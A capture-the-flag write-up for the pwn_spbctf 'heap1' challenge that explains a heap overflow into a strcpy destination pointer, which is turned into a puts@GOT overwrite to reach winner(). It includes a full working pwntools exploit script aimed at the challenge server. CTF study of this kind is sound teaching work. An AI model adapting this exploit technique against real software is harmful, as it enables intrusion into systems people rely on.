pwn7 heap1
pwn7 heap1
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: arbitrary_write, got_overwrite, heap_pointer_overflow, pie_base_leak
Summary
Task: amd64 PIE/Partial-RELRO heap pwn; printf leaks heap pointers and PIE base, and an 8-byte strcpy buffer overflows into the destination pointer of a second strcpy. Solution: overflow buf_a to point the second strcpy at puts@GOT, write winner()'s address there, and let the trailing puts() jump to system("cat flag.txt").
pwn7 heap1 — pwn_spbctf
Description
Remote:
nc 109.233.56.90 11751
A non-stripped amd64 binary with PIE, Partial RELRO, Stack Canary, and NX. It
allocates two objects, leaks several pointers via printf, reads two strings,
and copies them with strcpy. The goal is to reach winner(), which runs
system("cat flag.txt").
Analysis
Binary properties
- amd64, PIE, Partial RELRO (GOT writable), Canary, NX. Not stripped.
systemis imported. Awinner()function at PIE offset+0x11b9callssystem("cat flag.txt")— no libc leak required.
main() flow
obj1 = malloc(0x10); obj1[0] = 1; buf_a = malloc(8); obj1[8] = buf_aobj2 = malloc(0x10); obj2[0] = 2; buf_b = malloc(8); obj2[8] = buf_bprintf("i1:%p i2:%p main:%p\n", obj1, obj2, &main)— leaks two heap pointers and&main(PIE offset+0x11ee), giving the PIE base.fgets(S1, 0x400, ...)thenfgets(S2, 0x400, ...)— up to 0x400 bytes each.strcpy(obj1[8] /* buf_a */, S1)— heap overflow: the destination is an 8-byte chunk but up to 0x400 bytes are copied.strcpy(obj2[8], S2)— the destination pointerobj2[8]was corrupted by step 5, so this becomes an arbitrary write-what-where.puts("and that's a wrap folks!")— called after both copies.
Heap layout
All allocations (0x10 and 0x8 requests) round up to 0x20 chunks:
obj1 @ X buf_a @ X+0x20 obj2 @ X+0x40 buf_b @ X+0x60
The leak confirms obj2 - obj1 = 0x40. The destination pointer field we want to
corrupt is obj2[8] = obj2 + 8 = X + 0x48. From buf_a @ X+0x20:
distance = 0x48 - 0x20 = 0x28
So 0x28 filler bytes from buf_a land exactly on obj2[8].
Solution
The write-what-where primitive lets us overwrite an entry in the writable GOT
(Partial RELRO). We target puts@GOT (PIE offset 0x4020), because puts() is
called right after both strcpys. Replacing it with winner() redirects that
call to system("cat flag.txt").
- S1 — overflow
buf_aso thatobj2[8](the destination of the secondstrcpy) points toputs@GOT:S1 = b'A'*0x28 + p64(puts@GOT). - S2 — the bytes the second
strcpywrites intoputs@GOT:S2 = p64(winner). - The trailing
puts(...)dereferences the overwritten GOT entry and jumps towinner()→system("cat flag.txt")→ flag.
Key gotcha — keep the trailing NUL bytes
Do not rstrip(b'\x00') the address payloads. sendline appends \n
(0x0a). A 6-byte heap/code pointer's p64() encoding ends in two NUL bytes;
strcpy stops at the first NUL, so the high pointer bytes stay zero and the
appended newline is never copied into the qword. If the trailing NULs were
stripped, strcpy would copy the \n into byte 6 of the pointer
(0x000a5555....) → SIGSEGV on the second strcpy. Letting the natural NULs
terminate the copy is what makes the write land cleanly.
Exploit script
python read-only • copy allowed#!/usr/bin/env python3 # heap1 (pwn7) - spbctf # Heap overflow of buf_a (8-byte chunk) reaches obj2's `buf` pointer (obj2+8), # the destination of the SECOND strcpy. -> arbitrary write-what-where. # winner() @ +0x11b9 runs system("cat flag.txt"). # Overwrite puts@GOT with winner(); the final puts(...) call -> winner() -> flag. from pwn import * context.arch = 'amd64' context.log_level = 'info' HOST, PORT = '109.233.56.90', 11751 EXE = './heap1.elf' e = ELF(EXE, checksec=False) MAIN_OFF = 0x11ee WINNER_OFF = 0x11b9 PUTS_GOT = 0x4020 # offset of puts@GOT in the PIE image # Heap layout (all 0x20 chunks): # obj1@X buf_a@X+0x20 obj2@X+0x40 buf_b@X+0x60 # buf_a -> obj2+8 distance = 0x40 - 0x20 + 8 = 0x28 DIST_BUFA_TO_OBJ2PTR = 0x28 def run(): io = remote(HOST, PORT) # leak line: "i1:%p i2:%p main:%p\n" line = io.recvline() log.info('leak: %r', line) m = re.findall(rb'0x[0-9a-f]+', line) i1 = int(m[0], 16) i2 = int(m[1], 16) main = int(m[2], 16) base = main - MAIN_OFF puts_got = base + PUTS_GOT winner = base + WINNER_OFF log.success('i1=%#x i2=%#x main=%#x base=%#x', i1, i2, main, base) log.success('puts@GOT=%#x winner=%#x', puts_got, winner) # S1: overflow buf_a -> set obj2[8] (second strcpy dest) = puts@GOT. # Keep the address's natural trailing NUL bytes: strcpy stops at the first NUL, # so the appended newline never corrupts the high bytes of the pointer. s1 = b'A' * DIST_BUFA_TO_OBJ2PTR + p64(puts_got) # S2: bytes written by the 2nd strcpy into puts@GOT = winner() address. s2 = p64(winner) io.recvuntil(b'Enter S1') io.sendline(s1) io.recvuntil(b'Enter S2') io.sendline(s2) # final puts(...) now jumps to winner() -> system("cat flag.txt") data = io.recvall(timeout=8) log.info('out: %r', data) m = re.search(rb'(?i)spbctf\{[^}]*\}', data) if not m: m = re.search(rb'[A-Za-z0-9_]+\{[^}]*\}', data) if m: log.success('FLAG: %s', m.group().decode()) else: log.warning('no flag matched; raw above') io.close() if __name__ == '__main__': run()
Validation
Tested locally in a ubuntu:22.04 amd64 docker container with
process('./heap1.elf') (no ptrace/gdb required; qemu ptrace was flaky). Local
run printed spbctf{local_test}. Remote run yielded the real flag.
Sample remote leak:
i1:0x582ab76ad2a0 i2:0x582ab76ad2e0 main:0x582a7c3ce1ee → base 0x582a7c3cd000.